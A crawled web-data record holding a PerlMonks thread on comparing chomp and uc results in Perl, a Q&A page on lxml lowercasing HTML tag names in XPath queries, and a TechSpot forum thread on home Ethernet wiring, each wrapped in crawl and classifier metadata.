"label": "Evaluate"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "4",
"label": "Missing Images or Figures"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "2",
"label": "Partially Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-7,294,647,292,353,167,000 | Beefy Boxes and Bandwidth Generously Provided by pair Networks
Perl-Sensitive Sunglasses
PerlMonks
Upper case and chomp
by TechFly (Scribe)
on Feb 09, 2011 at 20:53 UTC ( #887281=perlquestion: print w/ replies, xml ) Need Help??
TechFly has asked for the wisdom of the Perl Monks concerning the following question:
my @listaccountlocked = split("=", $accountlocked); if (chomp($listaccountlocked[1]) eq "True") { system("chuser account_locked='false' $username"); print(`lsuser -a account_locked $username`); } else { print("\nThe account $username is not locked\n\n"); }
In the code above (second line), I would like to use uc() and "TRUE" instead of relying on the OS to always respond in the correct case. Is there a way to do so without adding another variable? Whenever I try to add uc() in I get compilation errors, or I get the result of comping the variable. Probably a very simple thing, but I am at a loss.
Thanks be to the Monks who know.
Comment on Upper case and chomp
Download Code
Replies are listed 'Best First'.
Re: Upper case and chomp
by wind (Priest) on Feb 09, 2011 at 20:58 UTC
chomp returns the total number of characters removed, either 1 or 0, so your equality test will always fail. Just split up your efforts:
my @listaccountlocked = split "=", $accountlocked; chomp($listaccountlocked[1]); if (uc($listaccountlocked[1]) eq "TRUE") {
- Miller
Re: Upper case and chomp
by kennethk (Abbot) on Feb 09, 2011 at 21:01 UTC
As documented in chomp,
It returns the total number of characters removed from all its arguments.
This means you are using that incorrectly. Rather than using eq, I would suggest using a regular expression, like
my @listaccountlocked = split("=", $accountlocked); if ($listaccountlocked[1] =~ /^true$/i) { system("chuser account_locked='false' $username"); print(`lsuser -a account_locked $username`); } else { print("\nThe account $username is not locked\n\n"); }
where $ will ignore a trailing newline in reporting a match.
I prefer using uc and a string compare like the OP suggested. I did a quick benchmark, and it looks like it's faster (negligible if no strings match, roughly double the speed if they all match.
if (uc($listaccountlocked[1]) eq 'TRUE) {
Trivial benchmark:
...roboticus
When your only tool is a hammer, all problems look like your thumb.
You have not used a fair test: note that my regular expression included the Metacharacters ^ and $. If I reconfigure your tests to consider this factor and swap to:
sub regex { my $cnt=0; for (@words) { ++$cnt if /^abcb$/i; } return $cnt; }
I get the output:
In 4096 words, 16 are 'abcb' Rate uccmp regex uccmp 1192/s -- -5% regex 1255/s 5% -- In 4096 words, 0 are 'abcb' Rate uccmp regex uccmp 1225/s -- -3% regex 1264/s 3% -- In 4096 words, 4096 are 'abcb' Rate regex uccmp regex 970/s -- -23% uccmp 1260/s 30% --
which obviously compares much better. This still does not consider that the string compare require a chomp which the regular expression does not. Modifying your benchmark to consider this:
yields the results:
In 4096 words, 16 are 'abcb' Rate uccmp regex uccmp 812/s -- -32% regex 1197/s 47% -- In 4096 words, 0 are 'abcb' Rate uccmp regex uccmp 861/s -- -31% regex 1255/s 46% -- In 4096 words, 4096 are 'abcb' Rate uccmp regex uccmp 856/s -- -11% regex 964/s 13% --
which I think clearly favors the regular expression. In addition, if you really wanted to squeeze out performance, you could skip the split in the OP as well: which yields:
In 4096 words, 16 are 'abcb' Rate uccmp regex uccmp 200/s -- -74% regex 767/s 283% -- In 4096 words, 0 are 'abcb' Rate uccmp regex uccmp 200/s -- -74% regex 756/s 278% -- In 4096 words, 4096 are 'abcb' Rate uccmp regex uccmp 206/s -- -66% regex 603/s 193% --
Update: As ikegami points out, I failed to localize the arrays to the test routines, so there were a large number of no-ops. Fixing that with the code my @words = @words added where appropriate reduced margins but maintained ordering. I suspect that is just a function of the linear overhead of copying the large arrays. If this is incorrect, I would appreciate insight.
Another option is string escapes:
if ("\U$listaccountlocked[1]" eq 'TRUE') {
I added another sub to your benchmark:
sub slashU { my $cnt=0; for (@words){ ++$cnt if "\U$_" eq 'ABCB'; } return $cnt; }
But it didn't fare very well:
In 4096 words, 16 are 'abcb' Rate slashU uccmp regex slashU 321/s -- -18% -26% uccmp 390/s 21% -- -10% regex 435/s 36% 12% -- In 4096 words, 0 are 'abcb' Rate slashU uccmp regex slashU 328/s -- -17% -25% uccmp 397/s 21% -- -10% regex 439/s 34% 11% -- In 4096 words, 4096 are 'abcb' Rate regex slashU uccmp regex 266/s -- -6% -18% slashU 282/s 6% -- -13% uccmp 325/s 22% 15% --
Ah well.
Re: Upper case and chomp
by TechFly (Scribe) on Feb 09, 2011 at 21:09 UTC
Thanks guys. I did indeed forget that chomp() does not need to be assigned a new variable. I never thought much about using regex either. I am fairly new to that, so it does not come to mind right away.
Thank you very much for the help.
Log In?
Username:
Password:
What's my password?
Create A New User
Node Status?
node history
Node Type: perlquestion [id://887281]
Approved by kennethk
help
Chatterbox?
and the web crawler heard nothing...
How do I use this? | Other CB clients
Other Users?
Others wandering the Monastery: (5)
As of 2016-02-08 06:57 GMT
Sections?
Information?
Find Nodes?
Leftovers?
Voting Booth?
How many photographs, souvenirs, artworks, trophies or other decorative objects are displayed in your home?
Results (268 votes), past polls | {
"url": "http://www.perlmonks.org/?node_id=887281",
"source_domain": "www.perlmonks.org",
"snapshot_id": "crawl=CC-MAIN-2016-07",
"warc_metadata": {
"Content-Length": "30009",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:NZPVIIJHV7YD5XOWOVSINEL2G6DOMRG6",
"WARC-Concurrent-To": "<urn:uuid:0f9463ac-f6fd-47fa-97dd-a5971dd518e4>",
"WARC-Date": "2016-02-08T06:58:38Z",
"WARC-IP-Address": "216.92.34.251",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:ZHL53GZO6C2CZDV3QWQZG2R7GWEP77EF",
"WARC-Record-ID": "<urn:uuid:e10655db-278c-428f-b3f4-7f31d488fd56>",
"WARC-Target-URI": "http://www.perlmonks.org/?node_id=887281",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:ba20fa85-7cd8-43aa-b103-e107617b19eb>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-236-182-209.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2016-07\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for February 2016\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
63,
89,
91,
103,
104,
125,
126,
146,
235,
321,
322,
579,
580,
925,
926,
959,
960,
992,
1006,
1039,
1064,
1110,
1251,
1379,
1392,
1417,
1466,
1494,
1572,
1690,
1691,
1948,
2013,
2014,
2214,
2215,
2263,
2264,
2289,
2290,
2309,
2310,
2384,
2385,
2558,
2642,
2668,
2669,
2934,
2935,
3132,
3133,
3161,
3427,
3608,
3875,
3876,
4255,
4256,
4298,
4299,
4350,
4351,
4398,
4399,
4490,
4491,
4529,
4530,
4915,
4916,
4933,
4934,
4959,
5008,
5009,
5216,
5217,
5255,
5256,
5264,
5274,
5284,
5285,
5305,
5323,
5336,
5349,
5387,
5408,
5413,
5425,
5462,
5463,
5501,
5514,
5550,
5577,
5587,
5600,
5612,
5623,
5641,
5642,
5754,
5755,
5756,
5757,
5758,
5759
],
"line_end_idx": [
63,
89,
91,
103,
104,
125,
126,
146,
235,
321,
322,
579,
580,
925,
926,
959,
960,
992,
1006,
1039,
1064,
1110,
1251,
1379,
1392,
1417,
1466,
1494,
1572,
1690,
1691,
1948,
2013,
2014,
2214,
2215,
2263,
2264,
2289,
2290,
2309,
2310,
2384,
2385,
2558,
2642,
2668,
2669,
2934,
2935,
3132,
3133,
3161,
3427,
3608,
3875,
3876,
4255,
4256,
4298,
4299,
4350,
4351,
4398,
4399,
4490,
4491,
4529,
4530,
4915,
4916,
4933,
4934,
4959,
5008,
5009,
5216,
5217,
5255,
5256,
5264,
5274,
5284,
5285,
5305,
5323,
5336,
5349,
5387,
5408,
5413,
5425,
5462,
5463,
5501,
5514,
5550,
5577,
5587,
5600,
5612,
5623,
5641,
5642,
5754,
5755,
5756,
5757,
5758,
5759,
5794
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 5794,
"ccnet_original_nlines": 110,
"rps_doc_curly_bracket": 0.0032792501151561737,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.2542372941970825,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.026529109105467796,
"rps_doc_frac_lines_end_with_ellipsis": 0.009009010158479214,
"rps_doc_frac_no_alph_words": 0.384672075510025,
"rps_doc_frac_unique_words": 0.4330708682537079,
"rps_doc_mean_word_length": 4.589426517486572,
"rps_doc_num_sentences": 43,
"rps_doc_symbol_to_word_ratio": 0.002210760023444891,
"rps_doc_unigram_entropy": 5.4077653884887695,
"rps_doc_word_count": 889,
"rps_doc_frac_chars_dupe_10grams": 0.15367646515369415,
"rps_doc_frac_chars_dupe_5grams": 0.2617647051811218,
"rps_doc_frac_chars_dupe_6grams": 0.23627451062202454,
"rps_doc_frac_chars_dupe_7grams": 0.21617646515369415,
"rps_doc_frac_chars_dupe_8grams": 0.17426471412181854,
"rps_doc_frac_chars_dupe_9grams": 0.15906862914562225,
"rps_doc_frac_chars_top_2gram": 0.01764705963432789,
"rps_doc_frac_chars_top_3gram": 0.03235293924808502,
"rps_doc_frac_chars_top_4gram": 0.0313725508749485,
"rps_doc_books_importance": -611.8056640625,
"rps_doc_books_importance_length_correction": -611.8056640625,
"rps_doc_openwebtext_importance": -342.4198913574219,
"rps_doc_openwebtext_importance_length_correction": -342.4198913574219,
"rps_doc_wikipedia_importance": -275.80963134765625,
"rps_doc_wikipedia_importance_length_correction": -275.80963134765625
},
"fasttext": {
"dclm": 0.023483039811253548,
"english": 0.8191352486610413,
"fineweb_edu_approx": 1.6874107122421265,
"eai_general_math": 0.3513197898864746,
"eai_open_web_math": 0.5817552208900452,
"eai_web_code": 0.2009059190750122
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1332",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "-1",
"labels": {
"level_1": "",
"level_2": "",
"level_3": ""
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-1,886,854,436,957,138,200 | 17148
upper case html tags encoded in lxml
Question:
I am parsing an html file using lxml.html....The html file contains tags with small case letters and also large case letters. A part of my code is shown below:
response = urllib2.urlopen(link) html = response.read().decode('cp1251') content_html = etree.HTML(html_1) first_link_xpath = content_html.xpath('//TR') print (first_link_xpath)
A small part of my HTML file is shown below:
<TR> <TR vAlign="top" align="left"> <!--<TD><B onmouseover="tips.Display('Metadata_WEB', event)" onmouseout="tips.Hide('Metadata_WEB')">Meta Data:</B></TD>--> <TD></TD> </TR> </TR>
So when i run my above code for the below html sample, it gives an empty list. Then i tried to run this line first_link_xpath = content_html_1.xpath('//tr/node()') , all the upper case tags were represented as \r\n\t\t\t\t' in the output: What is the reason behind this issue??
NOte: If the question is not convincing please let me know for modification
Answer1:
To follow up on unutbu's answer, I suggest you compare lxml XML and HTML parsers, especially how they represent documents by asking a representation of the tree back using lxml.etree.tostring(). You can see the different tags, tags case and hierarchy (which may be different than what a human would think ;)
$ python >>> import lxml.etree >>> doc = """<TR> ... <TR vAlign="top" align="left"> ... <!--<TD><B onmouseover="tips.Display('Metadata_WEB', event)" onmouseout="tips.Hide('Metadata_WEB')">Meta Data:</B></TD>--> ... <TD></TD> ... </TR> ... </TR>""" >>> xmldoc = lxml.etree.fromstring(doc) >>> xmldoc <Element TR at 0x1e79b90> >>> htmldoc = lxml.etree.HTML(doc) >>> htmldoc <Element html at 0x1f0baa0> >>> lxml.etree.tostring(xmldoc) '<TR>\n <TR vAlign="top" align="left">\n <!--<TD><B onmouseover="tips.Display(\'Metadata_WEB\', event)" onmouseout="tips.Hide(\'Metadata_WEB\')">Meta Data:</B></TD>-->\n <TD/>\n </TR>\n </TR>' >>> lxml.etree.tostring(htmldoc) '<html><body><tr/><tr valign="top" align="left"><!--<TD><B onmouseover="tips.Display(\'Metadata_WEB\', event)" onmouseout="tips.Hide(\'Metadata_WEB\')">Meta Data:</B></TD>--><td/>\n </tr></body></html>' >>>
You can see that with the HTML parser, it created enclosing html and body tags, and there is an empty tr node at the beginning, since in HTML a tr cannot directly follow a tr (the HTML fragment you provided is broken, either by a typo error, or the original document is also broken)
Then, again as suggested by unutbu, you can tryout the different XPath expressions:
>>> xmldoc.xpath('//tr') [] >>> xmldoc.xpath('//TR') [<Element TR at 0x1e79b90>, <Element TR at 0x1f0baf0>] >>> xmldoc.xpath('//TR/node()') ['\n ', <Element TR at 0x1f0baf0>, '\n ', <!--<TD><B onmouseover="tips.Display('Metadata_WEB', event)" onmouseout="tips.Hide('Metadata_WEB')">Meta Data:</B></TD>-->, '\n ', <Element TD at 0x1f0bb40>, '\n ', '\n '] >>> >>> htmldoc.xpath('//tr') [<Element tr at 0x1f0bbe0>, <Element tr at 0x1f0bc30>] >>> htmldoc.xpath('//TR') [] >>> htmldoc.xpath('//tr/node()') [<!--<TD><B onmouseover="tips.Display('Metadata_WEB', event)" onmouseout="tips.Hide('Metadata_WEB')">Meta Data:</B></TD>-->, <Element td at 0x1f0bbe0>, '\n '] >>>
An indeed, as unutbu stressed, for HTML, XPath expressions should use lower-case tags to select elements.
To me, '\r\n\t\t\t\t' output is not an error, it's simply the whitespace between the various tr and td tags. For text content, if you don't want this whitespace, you can use lxml.etree.tostring(element, memthod="text", encoding=unicode).strip(), where element comes from XPath for example. (this works for leading and trailing whitespace). (Note that the method argument is important, by default, it will output the HTML representation as tested above)
>>> map(lambda element: lxml.etree.tostring(element, method="text", encoding=unicode), htmldoc.xpath('//tr')) [u'', u'\n '] >>>
And you can verify that the text representation is all whitespace.
Answer2:
The HTML parser converters all tag names to lower case. This is why xpath('//TR') returns an empty list.
I'm not able to reproduce the second problem, where upper case tags get printed as \r\n\t\t\t\t'. Can you modify the code below to demonstrate the problem?
import lxml.etree as ET content = '''\ <TR> <TR vAlign="top" align="left"> <!--<TD><B onmouseover="tips.Display('Metadata_WEB', event)" onmouseout="tips.Hide('Metadata_WEB')">Meta Data:</B></TD>--> <TD></TD> </TR> </TR>''' root = ET.HTML(content) print(root.xpath('//TR')) # [] print(root.xpath('//tr/node()')) # [<!--<TD><B onmouseover="tips.Display('Metadata_WEB', event)" onmouseout="tips.Hide('Metadata_WEB')">Meta Data:</B></TD>-->, <Element td at 0xb77463ec>, '\n '] print(root.xpath('//tr')) # [<Element tr at 0xb77462fc>, <Element tr at 0xb77463ec>]
Recommend
• Pandas multi-index subtract from value based on value in other column
• creating password field in oracle
• Simple linked list-C
• Reading a file into a multidimensional array
• CakePHP ACL tutorial initDB function warnings
• Android application: how to use the camera and grab the image bytes?
• Query to find the duplicates between the name and number in table
• How can I speed up CURL tasks?
• How do I exclude a dependency in provided scope when running in Maven test scope?
• Jackson Parser: ignore deserializing for type mismatch
• Is there a way to do normal logging with EureakLog?
• Time complexity of a program which involves multiple variables
• Admob requires api-13 or later can I not deploy on old API-8 phones?
• Test if a set exists before trying to drop it
• How to use remove-erase idiom for removing empty vectors in a vector?
• How to clear text inside text field when radio button is select
• Spark fat jar to run multiple versions on YARN
• Read a local file using javascript
• Avoid links criss cross / overlap in d3.js using force layout
• Asynchronous UI Testing in Xcode With Swift
• Scrapy recursive link crawler
• Repeat a vertical line on every page in Report Builder / SSRS
• Why is an OPTIONS request sent to the server?
• Spring Data JPA custom method causing PropertyReferenceException
• Using $this when not in object context
• NetLogo BehaviorSpace - Measure runs using reporters
• How to make a tree having multiple type of nodes and each node can have multiple child nodes in java
• How do I fake an specific browser client when using Java's Net library?
• How reduce the height of an mschart by breaking up the y-axis
• Perl system calls when running as another user using sudo
• SVN: Merging two branches together
• Hibernate gives error error as “Access to DialectResolutionInfo cannot be null when 'hibernate.
• Unanticipated behavior
• How to CLICK on IE download dialog box i.e.(Open, Save, Save As…)
• Can Visual Studio XAML designer handle font family names with spaces as a resource?
• Turn off referential integrity in Derby? is it possible?
• Add sale price programmatically to product variations
• How can i traverse a binary tree from right to left in java?
• Unable to use reactive element in my shiny app
• How do I use LINQ to get all the Items that have a particular SubItem? | {
"url": "https://www.xszz.org/faq-3/question-2019062799353.html",
"source_domain": "www.xszz.org",
"snapshot_id": "crawl=CC-MAIN-2021-17",
"warc_metadata": {
"Content-Length": "60455",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:XSUTOYNYKIJYCBNH76ID2RAWFPKA5SSH",
"WARC-Concurrent-To": "<urn:uuid:aae62017-f8bf-4bf1-b866-53077b031157>",
"WARC-Date": "2021-04-19T08:17:30Z",
"WARC-IP-Address": "209.141.58.180",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:5FCZYATLNZ6IMPE464TKNDXOAIHR3OBQ",
"WARC-Record-ID": "<urn:uuid:96678e74-cf34-4ce9-b606-05e9bed23689>",
"WARC-Target-URI": "https://www.xszz.org/faq-3/question-2019062799353.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:ae44f242-2fbe-41b5-b453-1d3b0c16d1b1>"
},
"warc_info": "isPartOf: CC-MAIN-2021-17\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for April 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-39.ec2.internal\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
6,
7,
44,
45,
55,
56,
216,
217,
395,
396,
441,
442,
623,
624,
902,
903,
979,
980,
989,
990,
1298,
1299,
2164,
2165,
2448,
2449,
2533,
2534,
3198,
3199,
3305,
3306,
3759,
3760,
3888,
3889,
3956,
3957,
3966,
3967,
4072,
4073,
4229,
4230,
4788,
4789,
4799,
4800,
4874,
4912,
4937,
4986,
5036,
5109,
5179,
5214,
5300,
5359,
5415,
5482,
5555,
5605,
5679,
5747,
5798,
5837,
5903,
5951,
5985,
6051,
6101,
6170,
6213,
6270,
6375,
6451,
6517,
6579,
6618,
6718,
6745,
6815,
6903,
6964,
7022,
7087,
7138
],
"line_end_idx": [
6,
7,
44,
45,
55,
56,
216,
217,
395,
396,
441,
442,
623,
624,
902,
903,
979,
980,
989,
990,
1298,
1299,
2164,
2165,
2448,
2449,
2533,
2534,
3198,
3199,
3305,
3306,
3759,
3760,
3888,
3889,
3956,
3957,
3966,
3967,
4072,
4073,
4229,
4230,
4788,
4789,
4799,
4800,
4874,
4912,
4937,
4986,
5036,
5109,
5179,
5214,
5300,
5359,
5415,
5482,
5555,
5605,
5679,
5747,
5798,
5837,
5903,
5951,
5985,
6051,
6101,
6170,
6213,
6270,
6375,
6451,
6517,
6579,
6618,
6718,
6745,
6815,
6903,
6964,
7022,
7087,
7138,
7212
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 7212,
"ccnet_original_nlines": 87,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.2275777906179428,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.06345333158969879,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.3160463571548462,
"rps_doc_frac_unique_words": 0.4686192572116852,
"rps_doc_mean_word_length": 5.420502185821533,
"rps_doc_num_sentences": 94,
"rps_doc_symbol_to_word_ratio": 0.0061012799851596355,
"rps_doc_unigram_entropy": 5.519221305847168,
"rps_doc_word_count": 956,
"rps_doc_frac_chars_dupe_10grams": 0.06426090002059937,
"rps_doc_frac_chars_dupe_5grams": 0.11539945751428604,
"rps_doc_frac_chars_dupe_6grams": 0.09976842999458313,
"rps_doc_frac_chars_dupe_7grams": 0.09976842999458313,
"rps_doc_frac_chars_dupe_8grams": 0.09976842999458313,
"rps_doc_frac_chars_dupe_9grams": 0.06426090002059937,
"rps_doc_frac_chars_top_2gram": 0.007719030138105154,
"rps_doc_frac_chars_top_3gram": 0.1096101924777031,
"rps_doc_frac_chars_top_4gram": 0.09996140003204346,
"rps_doc_books_importance": -710.6405639648438,
"rps_doc_books_importance_length_correction": -710.6405639648438,
"rps_doc_openwebtext_importance": -412.0182189941406,
"rps_doc_openwebtext_importance_length_correction": -412.0182189941406,
"rps_doc_wikipedia_importance": -350.2082824707031,
"rps_doc_wikipedia_importance_length_correction": -350.2082824707031
},
"fasttext": {
"dclm": 0.1130262017250061,
"english": 0.6543810963630676,
"fineweb_edu_approx": 2.645137310028076,
"eai_general_math": 0.5630382299423218,
"eai_open_web_math": 0.22642141580581665,
"eai_web_code": 0.8417709469795227
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.7",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
7,671,082,217,945,146,000 | TechSpot
wiring home network, can a 110 punch down block be used to wire like a phone lines?
By rollingini30
Nov 28, 2005
1. ...phone lines can be bundled together and joined thru 110 or 66 blocks...
basicly this is direct connection between wires just like connecting bunch of speaker wires together...
can a computer network work with this setup without requiring hub to join the connections...knowing that there would be problems if multi-computers request "data" at the same time... but to what extend... how bad will it be to connect all wired computers...
i am prewiring my preconstruction home and wondering if i can go "cheaper" way wiring 14 rooms without getting 4-4 port hubs.
thanks
PS what other problems i should know about....
THANK YOU
2. Samstoned
Samstoned TechSpot Paladin Posts: 1,018
24 port switchs and or routers are very inexpensive
check ebay or amazon
3. Nodsu
Nodsu TS Rookie Posts: 5,837
No you can't do ethernet like that. Will there actually be 14 computers in the house? Run network cables from all rooms to a central location and then plug in the hub/switch only the ones you actually need.
4. rollingini30
rollingini30 TS Rookie Topic Starter
what happened is that i ran 2 cat5e to every room of the house....i was told that every cable box or sattelite receivers need phone line....so i basicly ran 2 phone lines...
i found out that i dont need that so i was thinking that i can now do wired ethernet...eventhought i already planned wireless....
but i was just wondering if putting all the ethernet planned cables together and running it as 1 plug to hub will work...
i know you cant really do it because of the ip but i was just wondering if it was possible...
5. RealBlackStuff
RealBlackStuff TS Rookie Posts: 6,503
You answered your own question: every cable needs it's own IP.
So the answer is NO, you can't.
And forget about hubs, they are almost antique!
A decent 12 or 24 port router/switch is what you want.
Topic Status:
Not open for further replies.
Similar Topics
Create an account or login to comment
You need to be a member in order to leave a comment
TechSpot Members
Login or sign up for free,
it takes about 30 seconds.
You may also...
Get complete access to the TechSpot community. Join thousands of technology enthusiasts that contribute and share knowledge in our forum. Get a private inbox, upload your own photo gallery and more. | {
"url": "http://www.techspot.com/community/topics/wiring-home-network-can-a-110-punch-down-block-be-used-to-wire-like-a-phone-lines.38254/",
"source_domain": "www.techspot.com",
"snapshot_id": "crawl=CC-MAIN-2016-22",
"warc_metadata": {
"Content-Length": "44594",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:WF7OYQ7U2Y3DPH43TH4Y6MLYX5XBT2KG",
"WARC-Concurrent-To": "<urn:uuid:088c5f2b-e26b-42d6-ac1c-266575fb3ce5>",
"WARC-Date": "2016-05-29T15:23:58Z",
"WARC-IP-Address": "184.173.241.66",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:A3X35R2EUZ4BJX6D3FBSYH6DZUOXYZRN",
"WARC-Record-ID": "<urn:uuid:b7031ac5-b2f2-43bf-87e8-579e2cf7915c>",
"WARC-Target-URI": "http://www.techspot.com/community/topics/wiring-home-network-can-a-110-punch-down-block-be-used-to-wire-like-a-phone-lines.38254/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:01c036b5-4759-496b-b201-563cbd92c9a1>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-185-217-139.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2016-22\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for May 2016\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
9,
10,
94,
95,
111,
124,
204,
205,
313,
314,
576,
577,
707,
708,
719,
720,
771,
772,
786,
792,
807,
808,
852,
853,
909,
934,
940,
951,
952,
985,
986,
1197,
1203,
1221,
1222,
1263,
1264,
1442,
1443,
1577,
1578,
1704,
1705,
1803,
1809,
1829,
1830,
1872,
1873,
1940,
1976,
2028,
2087,
2093,
2107,
2137,
2138,
2153,
2154,
2192,
2193,
2245,
2262,
2289,
2316,
2332,
2333,
2334
],
"line_end_idx": [
9,
10,
94,
95,
111,
124,
204,
205,
313,
314,
576,
577,
707,
708,
719,
720,
771,
772,
786,
792,
807,
808,
852,
853,
909,
934,
940,
951,
952,
985,
986,
1197,
1203,
1221,
1222,
1263,
1264,
1442,
1443,
1577,
1578,
1704,
1705,
1803,
1809,
1829,
1830,
1872,
1873,
1940,
1976,
2028,
2087,
2093,
2107,
2137,
2138,
2153,
2154,
2192,
2193,
2245,
2262,
2289,
2316,
2332,
2333,
2334,
2532
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 2532,
"ccnet_original_nlines": 68,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.4244897961616516,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.018367350101470947,
"rps_doc_frac_lines_end_with_ellipsis": 0.1304347813129425,
"rps_doc_frac_no_alph_words": 0.1775510162115097,
"rps_doc_frac_unique_words": 0.5504807829856873,
"rps_doc_mean_word_length": 4.502403736114502,
"rps_doc_num_sentences": 34,
